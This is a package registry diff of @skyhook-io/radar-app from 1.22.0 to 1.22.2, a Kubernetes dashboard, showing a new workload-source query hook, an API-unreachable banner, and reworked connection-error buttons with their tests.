@skyhook-io/radar-app 1.22.0 → 1.22.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (95) hide show
  1. package/package.json +1 -1
  2. package/src/App.tsx +98 -29
  3. package/src/RadarApp.tsx +5 -0
  4. package/src/api/client.ts +18 -1
  5. package/src/api/cnpg-history.ts +3 -3
  6. package/src/api/cnpg-storage.ts +3 -3
  7. package/src/api/diagnose.test.ts +34 -0
  8. package/src/api/diagnose.ts +17 -4
  9. package/src/api/radarFeatures.test.ts +13 -1
  10. package/src/api/radarFeatures.ts +2 -0
  11. package/src/api/resourceActions.test.ts +829 -0
  12. package/src/api/resourceActions.ts +584 -0
  13. package/src/api/resourceActions.ui.test.tsx +1882 -0
  14. package/src/api/reviewedActionMutation.ts +56 -28
  15. package/src/api/substrateHealth.ts +2 -3
  16. package/src/api/traffic.ts +13 -5
  17. package/src/api/workloadMetrics.test.ts +11 -2
  18. package/src/api/workloadMetrics.ts +2 -2
  19. package/src/api/workloadSource.test.tsx +857 -0
  20. package/src/api/workloadSource.ts +292 -0
  21. package/src/components/APIUnreachableBanner.test.tsx +19 -0
  22. package/src/components/APIUnreachableBanner.tsx +20 -0
  23. package/src/components/ConnectionErrorView.test.tsx +63 -2
  24. package/src/components/ConnectionErrorView.tsx +88 -68
  25. package/src/components/diagnose/ActivityTurn.tsx +6 -4
  26. package/src/components/diagnose/AnalysisStory.test.tsx +12 -0
  27. package/src/components/diagnose/AssessmentCard.tsx +1 -2
  28. package/src/components/diagnose/ContinueInAgentButton.test.tsx +7 -0
  29. package/src/components/diagnose/DiagnoseContext.question.test.tsx +34 -1
  30. package/src/components/diagnose/DiagnoseContext.tsx +28 -3
  31. package/src/components/diagnose/DiagnoseSurface.tsx +5 -4
  32. package/src/components/diagnose/Home.test.tsx +6 -0
  33. package/src/components/diagnose/Home.tsx +13 -3
  34. package/src/components/diagnose/InvestigationEvidencePane.story.test.tsx +1 -1
  35. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +61 -0
  36. package/src/components/diagnose/InvestigationEvidencePane.tsx +19 -2
  37. package/src/components/diagnose/InvestigationFindingsFooter.test.tsx +413 -0
  38. package/src/components/diagnose/InvestigationView.followupFailure.test.tsx +122 -0
  39. package/src/components/diagnose/InvestigationView.tsx +130 -25
  40. package/src/components/diagnose/LocalDiagnoseAction.history.test.tsx +1 -1
  41. package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -2
  42. package/src/components/diagnose/QuestionComposer.test.tsx +16 -2
  43. package/src/components/diagnose/QuestionComposer.tsx +13 -8
  44. package/src/components/diagnose/diagnoseEvidenceTypes.ts +47 -8
  45. package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +153 -0
  46. package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +9 -13
  47. package/src/components/diagnose/investigationEvidence/adapters/issues.ts +21 -5
  48. package/src/components/diagnose/investigationEvidence/bodies/network.tsx +63 -26
  49. package/src/components/diagnose/investigationEvidence/identity.test.ts +1 -1
  50. package/src/components/diagnose/investigationEvidence/projection.test.ts +1 -1
  51. package/src/components/diagnose/investigationState.ts +9 -0
  52. package/src/components/diagnose/launch.ts +1 -1
  53. package/src/components/diagnose/parts.test.tsx +11 -3
  54. package/src/components/diagnose/toolCallLabel.ts +3 -0
  55. package/src/components/dock/PodDebugSession.test.tsx +66 -0
  56. package/src/components/dock/PodDebugSession.tsx +3 -1
  57. package/src/components/dock/TerminalTab.test.tsx +43 -3
  58. package/src/components/dock/TerminalTab.tsx +10 -1
  59. package/src/components/helm/HelmReleaseDrawer.tsx +1 -1
  60. package/src/components/helm/InstallWizard.tsx +1 -1
  61. package/src/components/home/ActivitySummary.tsx +3 -8
  62. package/src/components/home/ClusterHealthCard.tsx +91 -17
  63. package/src/components/home/ClusterHealthCard.utilization.test.tsx +187 -0
  64. package/src/components/home/HomeView.tsx +6 -26
  65. package/src/components/home/TopologyPreview.test.tsx +31 -30
  66. package/src/components/home/TopologyPreview.tsx +19 -28
  67. package/src/components/home/mcpToolCatalog.ts +4 -4
  68. package/src/components/resources/PodEvictAction.test.tsx +951 -0
  69. package/src/components/resources/PodEvictAction.tsx +167 -0
  70. package/src/components/resources/ResourcesView.tsx +3 -0
  71. package/src/components/resources/renderers/JobAdmissionRenderers.tsx +5 -4
  72. package/src/components/resources/renderers/RolloutRenderer.tsx +4 -1
  73. package/src/components/resources/renderers/WorkloadRenderer.tsx +7 -1
  74. package/src/components/settings/LocalConnectionSettings.tsx +4 -4
  75. package/src/components/settings/SettingsDialog.tsx +23 -18
  76. package/src/components/settings/integrationQueries.test.ts +98 -0
  77. package/src/components/settings/integrationQueries.ts +36 -0
  78. package/src/components/traffic/TrafficView.reconnect.test.tsx +229 -0
  79. package/src/components/traffic/TrafficView.tsx +91 -35
  80. package/src/components/ui/Markdown.test.tsx +37 -0
  81. package/src/components/ui/Markdown.tsx +15 -2
  82. package/src/components/useContextSwitchFlow.test.tsx +27 -2
  83. package/src/components/useContextSwitchFlow.tsx +20 -22
  84. package/src/components/workload/WorkloadView.tsx +83 -4
  85. package/src/components/workload/WorkloadView.workloadSource.test.tsx +121 -0
  86. package/src/context/ConnectionContext.tsx +24 -5
  87. package/src/context/ConnectionProvider.connectionId.test.tsx +14 -0
  88. package/src/context/ConnectionProvider.handover.test.tsx +94 -0
  89. package/src/context/DiagnoseCustomization.tsx +20 -2
  90. package/src/hooks/useEventSource.test.tsx +275 -4
  91. package/src/hooks/useEventSource.ts +278 -51
  92. package/src/index.ts +1 -0
  93. package/src/utils/navigation.test.ts +1 -6
  94. package/src/utils/navigation.ts +9 -44
  95. package/src/utils/network-policy-navigation.test.ts +21 -36
@@ -0,0 +1,292 @@
1
+ import { useEffect, useRef } from 'react'
2
+ import { useQuery, type QueryClient, type UseQueryResult } from '@tanstack/react-query'
3
+ import {
4
+ getRadarUpgradeRequirement,
5
+ type RadarUpgradeRequirement,
6
+ type WorkloadSourceResponse,
7
+ type WorkloadSourceState,
8
+ } from '@skyhook-io/k8s-ui'
9
+ import { kindToPluralWithGroup } from '@skyhook-io/k8s-ui/utils/navigation'
10
+ import type { K8sEvent } from '../types'
11
+ import { fetchJSON, useRadarFeature } from './client'
12
+ import { getApiBase } from './config'
13
+ import {
14
+ isRadarFeatureUnsupported,
15
+ RadarFeatureUnsupportedError,
16
+ shouldRetryRadarQuery,
17
+ type RadarFeatureSupport,
18
+ } from './radarFeatures'
19
+
20
+ const APPS_SOURCE_KINDS = new Set(['deployments', 'statefulsets', 'daemonsets', 'replicasets'])
21
+ const BATCH_SOURCE_KINDS = new Set(['jobs', 'cronjobs'])
22
+ const ARGO_SOURCE_KINDS = new Set(['rollouts', 'workflows'])
23
+
24
+ // GitOps managers and Flux source objects whose updates can change a workload's
25
+ // reported deployment source from another namespace (e.g. argocd / flux-system).
26
+ const GITOPS_SOURCE_MANAGER_KINDS: Readonly<Record<string, string>> = {
27
+ applications: 'argoproj.io',
28
+ kustomizations: 'kustomize.toolkit.fluxcd.io',
29
+ helmreleases: 'helm.toolkit.fluxcd.io',
30
+ gitrepositories: 'source.toolkit.fluxcd.io',
31
+ ocirepositories: 'source.toolkit.fluxcd.io',
32
+ buckets: 'source.toolkit.fluxcd.io',
33
+ helmrepositories: 'source.toolkit.fluxcd.io',
34
+ helmcharts: 'source.toolkit.fluxcd.io',
35
+ externalartifacts: 'source.toolkit.fluxcd.io',
36
+ artifactgenerators: 'source.extensions.fluxcd.io',
37
+ }
38
+
39
+ export const WORKLOAD_SOURCE_INVALIDATION_THROTTLE_MS = 5_000
40
+ export const WORKLOAD_SOURCE_REFETCH_INTERVAL_MS = 120_000
41
+
42
+ // Mirrors backend workloadSourceTargets in internal/server/workload_source.go.
43
+ export function supportsWorkloadSource(kind: string, group?: string): boolean {
44
+ const k = kind.toLowerCase()
45
+ const g = (group ?? '').toLowerCase()
46
+ if (APPS_SOURCE_KINDS.has(k)) return !g || g === 'apps'
47
+ if (BATCH_SOURCE_KINDS.has(k)) return !g || g === 'batch'
48
+ if (ARGO_SOURCE_KINDS.has(k)) return !g || g === 'argoproj.io'
49
+ return false
50
+ }
51
+
52
+ export type WorkloadSourceInvalidationScope =
53
+ | { scope: 'all' }
54
+ | { scope: 'namespace'; namespace: string }
55
+ | { scope: 'workload'; kind: string; namespace: string; name: string }
56
+
57
+ // Determines which cached ['workload-source', ...] queries an SSE resource
58
+ // change can make stale: a Pod in the workload's namespace, the workload itself,
59
+ // or a GitOps manager / Flux source object (which may live in another namespace).
60
+ export function workloadSourceInvalidationScope(
61
+ event: Pick<K8sEvent, 'kind' | 'group' | 'namespace' | 'name'>,
62
+ ): WorkloadSourceInvalidationScope | null {
63
+ const group = (event.group ?? '').toLowerCase()
64
+ const pluralKind = kindToPluralWithGroup(event.kind, group).toLowerCase()
65
+
66
+ if (GITOPS_SOURCE_MANAGER_KINDS[pluralKind] === group) {
67
+ return { scope: 'all' }
68
+ }
69
+ if (pluralKind === 'pods' && !group) {
70
+ return event.namespace ? { scope: 'namespace', namespace: event.namespace } : null
71
+ }
72
+ if (supportsWorkloadSource(pluralKind, group) && event.namespace && event.name) {
73
+ return { scope: 'workload', kind: pluralKind, namespace: event.namespace, name: event.name }
74
+ }
75
+ return null
76
+ }
77
+
78
+ interface WorkloadSourceTarget {
79
+ apiBase: string
80
+ kind: string
81
+ namespace: string
82
+ name: string
83
+ }
84
+
85
+ function parseWorkloadSourceQueryKey(queryKey: readonly unknown[]): WorkloadSourceTarget | null {
86
+ if (
87
+ queryKey.length < 5 ||
88
+ queryKey[0] !== 'workload-source' ||
89
+ typeof queryKey[1] !== 'string' ||
90
+ typeof queryKey[2] !== 'string' ||
91
+ typeof queryKey[3] !== 'string' ||
92
+ typeof queryKey[4] !== 'string'
93
+ ) {
94
+ return null
95
+ }
96
+ return {
97
+ apiBase: queryKey[1],
98
+ kind: queryKey[2],
99
+ namespace: queryKey[3],
100
+ name: queryKey[4],
101
+ }
102
+ }
103
+
104
+ export interface WorkloadSourceInvalidator {
105
+ handleEvent: (queryClient: QueryClient, event: K8sEvent) => void
106
+ reset: () => void
107
+ }
108
+
109
+ // Invalidates matching ['workload-source', ...] queries in response to SSE
110
+ // resource changes, throttled to at most once per window (default 5s) per
111
+ // workload (leading edge + trailing edge for bursts within the window).
112
+ export function createWorkloadSourceInvalidator(
113
+ throttleMs = WORKLOAD_SOURCE_INVALIDATION_THROTTLE_MS,
114
+ ): WorkloadSourceInvalidator {
115
+ const buckets = new Map<
116
+ string,
117
+ { lastInvalidatedAt: number; timer: ReturnType<typeof setTimeout> | null }
118
+ >()
119
+
120
+ const invalidateTarget = (queryClient: QueryClient, target: WorkloadSourceTarget) => {
121
+ void queryClient.invalidateQueries(
122
+ {
123
+ queryKey: ['workload-source', target.apiBase, target.kind, target.namespace, target.name],
124
+ },
125
+ { cancelRefetch: false },
126
+ )
127
+ }
128
+
129
+ return {
130
+ handleEvent(queryClient, event) {
131
+ const scope = workloadSourceInvalidationScope(event)
132
+ if (!scope) return
133
+
134
+ const matched = new Map<string, WorkloadSourceTarget>()
135
+ for (const query of queryClient.getQueryCache().findAll({ queryKey: ['workload-source'] })) {
136
+ const target = parseWorkloadSourceQueryKey(query.queryKey)
137
+ if (!target) continue
138
+ if (scope.scope === 'namespace' && target.namespace !== scope.namespace) continue
139
+ if (
140
+ scope.scope === 'workload' &&
141
+ (target.kind !== scope.kind ||
142
+ target.namespace !== scope.namespace ||
143
+ target.name !== scope.name)
144
+ ) {
145
+ continue
146
+ }
147
+ const key = `${target.apiBase}\0${target.kind}\0${target.namespace}\0${target.name}`
148
+ if (!matched.has(key)) matched.set(key, target)
149
+ }
150
+ if (matched.size === 0) return
151
+
152
+ const now = Date.now()
153
+ for (const [key, entry] of buckets) {
154
+ if (entry.timer === null && now - entry.lastInvalidatedAt >= throttleMs) {
155
+ buckets.delete(key)
156
+ }
157
+ }
158
+
159
+ for (const [key, target] of matched) {
160
+ const entry = buckets.get(key)
161
+ const elapsed = entry ? now - entry.lastInvalidatedAt : Infinity
162
+ if (elapsed >= throttleMs) {
163
+ if (entry?.timer !== null && entry?.timer !== undefined) clearTimeout(entry.timer)
164
+ buckets.set(key, { lastInvalidatedAt: now, timer: null })
165
+ invalidateTarget(queryClient, target)
166
+ } else if (entry && entry.timer === null) {
167
+ const delay = throttleMs - elapsed
168
+ entry.timer = setTimeout(() => {
169
+ entry.timer = null
170
+ entry.lastInvalidatedAt = Date.now()
171
+ invalidateTarget(queryClient, target)
172
+ }, delay)
173
+ }
174
+ }
175
+ },
176
+
177
+ reset() {
178
+ for (const entry of buckets.values()) {
179
+ if (entry.timer !== null) clearTimeout(entry.timer)
180
+ }
181
+ buckets.clear()
182
+ },
183
+ }
184
+ }
185
+
186
+ export type WorkloadSourceQueryResult = UseQueryResult<WorkloadSourceResponse, Error> & {
187
+ support: RadarFeatureSupport
188
+ upgrade: RadarUpgradeRequirement | null
189
+ cachedData?: WorkloadSourceResponse
190
+ }
191
+
192
+ export function useWorkloadSource(
193
+ kind: string,
194
+ namespace: string,
195
+ name: string,
196
+ enabled = true,
197
+ uid?: string,
198
+ ): WorkloadSourceQueryResult {
199
+ const normalizedKind = kind.toLowerCase()
200
+ const normalizedUid = typeof uid === 'string' ? uid : ''
201
+ const apiBase = getApiBase()
202
+ const workloadBase = `${apiBase}|${normalizedKind}|${namespace}|${name}`
203
+ const lastSuccessRef = useRef<{ base: string; uid: string; data: WorkloadSourceResponse } | null>(null)
204
+ // The resource's UID arrives after the first render (list row first, full
205
+ // object later). An unknown UID on either side is the same workload; only two
206
+ // known, different UIDs mean it was replaced and the old answer must go.
207
+ const last = lastSuccessRef.current
208
+ const sameWorkloadCached =
209
+ last &&
210
+ last.base === workloadBase &&
211
+ (last.uid === normalizedUid || last.uid === '' || normalizedUid === '')
212
+ ? last.data
213
+ : undefined
214
+
215
+ const { guard, gatedKey, support, upgrade } = useRadarFeature('workloadSource')
216
+ const query = useQuery<WorkloadSourceResponse, Error>({
217
+ queryKey: ['workload-source', apiBase, normalizedKind, namespace, name, normalizedUid, ...gatedKey],
218
+ queryFn: ({ signal }) =>
219
+ guard(() =>
220
+ fetchJSON<WorkloadSourceResponse>(
221
+ `/workloads/${encodeURIComponent(normalizedKind)}/${encodeURIComponent(namespace)}/${encodeURIComponent(name)}/source`,
222
+ signal,
223
+ ),
224
+ ),
225
+ placeholderData: () => sameWorkloadCached,
226
+ staleTime: 60_000,
227
+ // Fallback for large clusters where namespace-scoped SSE streams filter out
228
+ // cross-namespace GitOps manager or Flux source events.
229
+ refetchInterval: (q) =>
230
+ support === 'unsupported' || isRadarFeatureUnsupported(q.state.error, 'workloadSource')
231
+ ? false
232
+ : WORKLOAD_SOURCE_REFETCH_INTERVAL_MS,
233
+ refetchIntervalInBackground: false,
234
+ retry: shouldRetryRadarQuery,
235
+ enabled: enabled && Boolean(normalizedKind && namespace && name),
236
+ })
237
+
238
+ useEffect(() => {
239
+ if (query.data && !query.isPlaceholderData) {
240
+ lastSuccessRef.current = { base: workloadBase, uid: normalizedUid, data: query.data }
241
+ } else if (lastSuccessRef.current && !sameWorkloadCached) {
242
+ lastSuccessRef.current = null
243
+ }
244
+ }, [query.data, query.isPlaceholderData, workloadBase, normalizedUid, sameWorkloadCached])
245
+
246
+ const { error, refetch } = query
247
+ useEffect(() => {
248
+ if (support === 'supported' && error instanceof RadarFeatureUnsupportedError) {
249
+ void refetch()
250
+ }
251
+ }, [support, error, refetch])
252
+
253
+ return {
254
+ ...query,
255
+ support,
256
+ upgrade,
257
+ cachedData: query.data ?? sameWorkloadCached,
258
+ }
259
+ }
260
+
261
+ export function toWorkloadSourceState(query: WorkloadSourceQueryResult): WorkloadSourceState {
262
+ if (query.support === 'unsupported' || isRadarFeatureUnsupported(query.error, 'workloadSource')) {
263
+ return {
264
+ status: 'unsupported',
265
+ upgrade: getRadarUpgradeRequirement(query.error) ?? query.upgrade ?? undefined,
266
+ }
267
+ }
268
+ const data = query.data ?? query.cachedData
269
+ if (data) {
270
+ if (query.error) {
271
+ return {
272
+ status: 'ready',
273
+ data,
274
+ refreshError: query.error.message || 'Unknown error',
275
+ onRetry: () => {
276
+ void query.refetch()
277
+ },
278
+ }
279
+ }
280
+ return { status: 'ready', data }
281
+ }
282
+ if (query.error) {
283
+ return {
284
+ status: 'error',
285
+ message: query.error.message || 'Unknown error',
286
+ onRetry: () => {
287
+ void query.refetch()
288
+ },
289
+ }
290
+ }
291
+ return { status: 'loading' }
292
+ }
@@ -0,0 +1,19 @@
1
+ import { renderToStaticMarkup } from 'react-dom/server'
2
+ import { describe, expect, it } from 'vitest'
3
+ import { APIUnreachableBanner } from './APIUnreachableBanner'
4
+ import { outageSinceLabel } from './outageSince'
5
+
6
+ describe('APIUnreachableBanner', () => {
7
+ it('says since when the API server stopped answering and that changes are paused', () => {
8
+ const since = new Date().toISOString()
9
+ const html = renderToStaticMarkup(<APIUnreachableBanner since={since} />)
10
+ expect(html).toContain(`Can&#x27;t reach the cluster&#x27;s API server since ${outageSinceLabel(since)}`)
11
+ expect(html).toContain('last state Radar received')
12
+ expect(html).toContain('Changes are paused')
13
+ })
14
+
15
+ it('drops the time when the server sent one it cannot read', () => {
16
+ const html = renderToStaticMarkup(<APIUnreachableBanner since="not-a-time" />)
17
+ expect(html).toContain('Can&#x27;t reach the cluster&#x27;s API server</div>')
18
+ })
19
+ })
@@ -0,0 +1,20 @@
1
+ import { CloudOff } from 'lucide-react'
2
+ import { AlertBanner } from '@skyhook-io/k8s-ui'
3
+ import { outageSinceLabel } from './outageSince'
4
+
5
+ // Radar stays connected when its API server stops answering: the cache keeps
6
+ // serving what it last received, so views still read normally. Without this,
7
+ // a VPN drop or a sleeping laptop leaves a frozen cluster looking live.
8
+ export function APIUnreachableBanner({ since }: { since: string }) {
9
+ const sinceLabel = outageSinceLabel(since)
10
+ return (
11
+ <div className="px-4 pt-3">
12
+ <AlertBanner
13
+ variant="warning"
14
+ icon={CloudOff}
15
+ title={sinceLabel ? `Can't reach the cluster's API server since ${sinceLabel}` : "Can't reach the cluster's API server"}
16
+ message="You're seeing the last state Radar received. Changes are paused until the cluster answers again. Radar keeps checking, and this clears on its own."
17
+ />
18
+ </div>
19
+ )
20
+ }
@@ -30,6 +30,7 @@ vi.mock('./ui/Tooltip', () => ({
30
30
  Tooltip: ({ children }: { children: ReactNode }) => children,
31
31
  }))
32
32
 
33
+ import { NavCustomizationProvider } from '../context/NavCustomization'
33
34
  import {
34
35
  ConnectionErrorView,
35
36
  CopyableCommand,
@@ -177,8 +178,7 @@ describe('ConnectionErrorView kubeconfig guidance', () => {
177
178
  it('keeps the actionable error and context switch visible for a broken context', () => {
178
179
  const markup = renderError('config', 'prod')
179
180
 
180
- expect(markup).toContain('Cannot Load Cluster Configuration')
181
- expect(markup).toContain('Kubeconfig Problem')
181
+ expect(markup).toMatch(/<h2[^>]*>Kubeconfig Problem<\/h2>/)
182
182
  expect(markup).toContain('aria-expanded="false"')
183
183
  expect(markup).toContain('id="connection-raw-error"')
184
184
  expect(markup).toContain('safe error')
@@ -236,3 +236,64 @@ describe('ConnectionErrorView after a refused switch with a stuck credential plu
236
236
  expect(switchMarkup).toContain('use Retry Connection')
237
237
  })
238
238
  })
239
+
240
+ // The class of the button that comes first, and of the one with a given label.
241
+ function firstButtonClass(markup: string): string {
242
+ return markup.match(/<button[^>]*class="([^"]*)"[^>]*>(?:(?!<\/button>).)*?(Authenticate in terminal|Retry Connection|Back to [^<]*)/s)?.[1] ?? ''
243
+ }
244
+ function buttonClass(markup: string, label: string): string {
245
+ const at = markup.indexOf(label)
246
+ const open = markup.lastIndexOf('<button', at)
247
+ return markup.slice(open, at).match(/class="([^"]*)"/)?.[1] ?? ''
248
+ }
249
+
250
+ describe('ConnectionErrorView next step', () => {
251
+ it('leads a refused switch with the way back, says what still works, and keeps Retry', () => {
252
+ const markup = renderToStaticMarkup(
253
+ <ConnectionErrorView
254
+ connection={{ state: 'disconnected', context: 'staging-eu', errorType: 'timeout', error: 'safe error' }}
255
+ onRetry={() => {}}
256
+ isRetrying={false}
257
+ back={{ label: 'prod-us', onBack: () => {} }}
258
+ variant="switch"
259
+ />,
260
+ )
261
+ expect(markup).toContain('Couldn&#x27;t switch to')
262
+ expect(markup).toContain('You&#x27;re still on')
263
+ expect(firstButtonClass(markup)).toContain('btn-brand')
264
+ expect(buttonClass(markup, 'Back to prod-us')).toContain('btn-brand')
265
+ expect(buttonClass(markup, 'Retry Connection')).toContain('btn-secondary')
266
+ expect(markup.indexOf('Back to prod-us')).toBeLessThan(markup.indexOf('What to check'))
267
+ expect(markup).not.toContain('Switch context')
268
+ })
269
+
270
+ it('keeps Switch context beside Back when the host hides the header picker', () => {
271
+ const markup = renderToStaticMarkup(
272
+ <NavCustomizationProvider value={{ embedded: true }}>
273
+ <ConnectionErrorView
274
+ connection={{ state: 'disconnected', context: 'staging-eu', errorType: 'timeout', error: 'safe error' }}
275
+ onRetry={() => {}}
276
+ isRetrying={false}
277
+ back={{ label: 'prod-us', onBack: () => {} }}
278
+ variant="switch"
279
+ />
280
+ </NavCustomizationProvider>,
281
+ )
282
+ expect(markup).toContain('Back to prod-us')
283
+ expect(markup).toContain('Switch context')
284
+ })
285
+
286
+ it('leads expired credentials with the login, before the details, as the only primary button', () => {
287
+ const markup = renderError('auth', 'gke_project_us-east1_prod')
288
+ expect(buttonClass(markup, 'Authenticate in terminal')).toContain('btn-brand')
289
+ expect(buttonClass(markup, 'Retry Connection')).toContain('btn-secondary')
290
+ expect(markup.match(/btn-brand/g)).toHaveLength(1)
291
+ expect(markup.indexOf('Authenticate in terminal')).toBeLessThan(markup.indexOf('How to fix'))
292
+ })
293
+
294
+ it('leads with Retry when there is nothing to run and nowhere to go back to', () => {
295
+ const markup = renderError('timeout', 'prod')
296
+ expect(buttonClass(markup, 'Retry Connection')).toContain('btn-brand')
297
+ expect(markup.indexOf('Retry Connection')).toBeLessThan(markup.indexOf('What to check'))
298
+ })
299
+ })
@@ -12,6 +12,7 @@ import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
12
12
  import { apiUrl } from '../api/config'
13
13
  import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
14
14
  import { outageSinceLabel } from './outageSince'
15
+ import { useNavCustomization } from '../context/NavCustomization'
15
16
 
16
17
  interface ConnectionErrorViewProps {
17
18
  connection: ConnectionState
@@ -375,6 +376,7 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying, back, var
375
376
  const openLocalTerminal = useOpenLocalTerminal()
376
377
  const { data: authMe } = useAuthMe()
377
378
  const { localTerminal } = useCapabilitiesContext()
379
+ const headerHidden = useNavCustomization().embedded === true
378
380
  const rawErrorDefaultOpen = !connection.errorType || connection.errorType === 'unknown'
379
381
  const [showRawError, setShowRawError] = useState(rawErrorDefaultOpen)
380
382
 
@@ -435,27 +437,79 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying, back, var
435
437
  )
436
438
  }
437
439
 
440
+ const showAuthButton = Boolean(localTerminal && isAuthError && !commandInfo?.hideAuthButton && commandInfo?.authCommand && commandInfo.authCommand.runnable !== false)
441
+ // The next step leads: log in when Radar can run the login for you; after a
442
+ // refused switch, go back to the cluster that still works; otherwise retry.
443
+ const primary = showAuthButton ? 'auth' : variant === 'switch' && back ? 'back' : 'retry'
444
+ const title = variant === 'switch'
445
+ ? <>Couldn&apos;t switch to {connection.context ? <ClusterName name={connection.context} /> : 'the cluster'}</>
446
+ : errorInfo.title
447
+
448
+ const retryButton = (
449
+ <button
450
+ key="retry"
451
+ onClick={onRetry}
452
+ disabled={isRetrying}
453
+ className={`inline-flex items-center gap-2 px-4 py-2 rounded-lg whitespace-nowrap ${primary === 'retry' ? 'btn-brand' : 'btn-secondary'}`}
454
+ >
455
+ {isRetrying ? <Loader2 className="w-4 h-4 animate-spin" /> : <RefreshCw className="w-4 h-4" />}
456
+ {isRetrying ? 'Connecting...' : 'Retry Connection'}
457
+ </button>
458
+ )
459
+ const backButton = back && (
460
+ <button
461
+ key="back"
462
+ onClick={back.onBack}
463
+ disabled={back.disabled}
464
+ className={`inline-flex items-center gap-2 px-4 py-2 rounded-lg whitespace-nowrap ${primary === 'back' ? 'btn-brand' : 'btn-secondary'}`}
465
+ >
466
+ <ArrowLeft className="w-4 h-4" />
467
+ Back to {back.label}
468
+ </button>
469
+ )
470
+ const authButton = showAuthButton && (
471
+ <button key="auth" onClick={handleAuthInTerminal} className="inline-flex items-center gap-2 px-4 py-2 btn-brand rounded-lg whitespace-nowrap">
472
+ <TerminalSquare className="w-4 h-4" />
473
+ Authenticate in terminal
474
+ </button>
475
+ )
476
+ const actions = primary === 'auth'
477
+ ? [authButton, retryButton, backButton]
478
+ : primary === 'back'
479
+ ? [backButton, retryButton]
480
+ : [retryButton, backButton]
481
+
482
+ // Sits a little above the middle when there is room, and rises to the top,
483
+ // then scrolls, when the bottom dock takes the space: the buttons stay above it.
438
484
  return (
439
- <div className="flex-1 flex items-start justify-center pt-12 px-8">
440
- <div className="max-w-xl w-full">
485
+ <div className="flex-1 min-h-0 overflow-y-auto flex flex-col px-8">
486
+ <div className="flex-[2_1_0] min-h-6" />
487
+ <div className="max-w-xl w-full mx-auto shrink-0">
441
488
  <div className="flex flex-col items-center text-center">
442
- <div className="w-14 h-14 rounded-full bg-red-500/10 flex items-center justify-center mb-5">
489
+ <div className="w-14 h-14 rounded-full bg-red-500/10 flex items-center justify-center mb-4">
443
490
  <ServerOff className="w-8 h-8 text-red-400" />
444
491
  </div>
445
492
 
446
- <h2 className="text-xl font-semibold text-theme-text-primary mb-2">
447
- {connection.errorType === 'config' ? 'Cannot Load Cluster Configuration' : 'Cannot Connect to Cluster'}
493
+ <h2 className="text-xl font-semibold text-theme-text-primary mb-1.5 inline-flex flex-wrap items-center justify-center gap-x-1.5">
494
+ {title}
448
495
  </h2>
449
496
 
450
- <div className="mb-6 space-y-1">
451
- <p className="text-sm text-theme-text-secondary inline-flex items-center gap-1.5">
452
- Context: {connection.context ? (
453
- <ClusterName name={connection.context} />
454
- ) : (
455
- <span className="inline-code">(none)</span>
456
- )}
457
- {since && <span>· since {since}</span>}
458
- </p>
497
+ <div className="space-y-1">
498
+ {variant === 'switch' ? (
499
+ <p className="text-sm text-theme-text-secondary">
500
+ {errorInfo.title}
501
+ {back && <> · You&apos;re still on <span className="font-medium text-theme-text-primary">{back.label}</span></>}
502
+ </p>
503
+ ) : (
504
+ <p className="text-sm text-theme-text-secondary inline-flex items-center gap-1.5">
505
+ Context: {connection.context ? (
506
+ <ClusterName name={connection.context} />
507
+ ) : (
508
+ <span className="inline-code">(none)</span>
509
+ )}
510
+ {since && <span>· since {since}</span>}
511
+ </p>
512
+ )}
459
513
 
460
514
  {connection.clusterName && (
461
515
  <p className="text-sm text-theme-text-secondary">
@@ -464,9 +518,26 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying, back, var
464
518
  )}
465
519
  </div>
466
520
 
467
- <div className="w-full bg-theme-surface border border-theme-border rounded-lg p-4 mb-5 text-left">
521
+ <div className="mt-5 flex flex-wrap items-center justify-center gap-3">
522
+ {actions}
523
+ {/* With a way back on screen, the header picker covers switching
524
+ elsewhere, unless an embedding host hides the header. */}
525
+ {connection.context && (!back || headerHidden) && <ContextSwitcher triggerName="Switch context" />}
526
+ </div>
527
+
528
+ {isAuthError && variant === 'connection' && (
529
+ <p className="mt-3 text-xs text-theme-text-tertiary">
530
+ {isAuthRejected
531
+ ? 'Radar re-checks in the background — access changes are picked up automatically. Use Retry Connection to check immediately.'
532
+ : isAuthPluginStuck
533
+ ? 'Radar re-checks in the background and reconnects when the credential plugin responds. Use Retry Connection to check immediately.'
534
+ : 'Radar re-checks in the background and reconnects once credentials are refreshed. Use Retry Connection to check immediately.'}
535
+ </p>
536
+ )}
537
+
538
+ <div className="w-full mt-6 bg-theme-surface border border-theme-border rounded-lg p-4 text-left">
468
539
  <h3 className="text-sm font-medium text-theme-text-primary mb-2">
469
- {errorInfo.title}
540
+ {commandInfo?.authCommand ? 'How to fix' : 'What to check'}
470
541
  </h3>
471
542
  <ul className="text-sm text-theme-text-secondary space-y-1">
472
543
  {errorInfo.hints.map((hint, i) => (
@@ -480,15 +551,6 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying, back, var
480
551
  <div className="mt-3">
481
552
  <p className="text-xs text-theme-text-tertiary">{commandInfo.authCommand.label}</p>
482
553
  <CopyableCommand command={commandInfo.authCommand.command} onRunInTerminal={!localTerminal || commandInfo.authCommand.runnable === false ? undefined : handleRunInTerminal} />
483
- {localTerminal && isAuthError && !commandInfo?.hideAuthButton && commandInfo.authCommand.runnable !== false && (
484
- <button
485
- onClick={handleAuthInTerminal}
486
- className="mt-3 w-full inline-flex items-center justify-center gap-2 px-3 py-2 text-xs font-medium btn-brand rounded-md"
487
- >
488
- <TerminalSquare className="w-3.5 h-3.5" />
489
- Authenticate in terminal
490
- </button>
491
- )}
492
554
  </div>
493
555
  )}
494
556
  {commandInfo?.fallbackCommand && (
@@ -519,51 +581,9 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying, back, var
519
581
  </div>
520
582
  )}
521
583
  </div>
522
-
523
- <div className="flex flex-wrap items-center justify-center gap-3">
524
- <button
525
- onClick={onRetry}
526
- disabled={isRetrying}
527
- className="inline-flex items-center gap-2 px-4 py-2 btn-brand rounded-lg whitespace-nowrap"
528
- >
529
- {isRetrying ? (
530
- <>
531
- <Loader2 className="w-4 h-4 animate-spin" />
532
- Connecting...
533
- </>
534
- ) : (
535
- <>
536
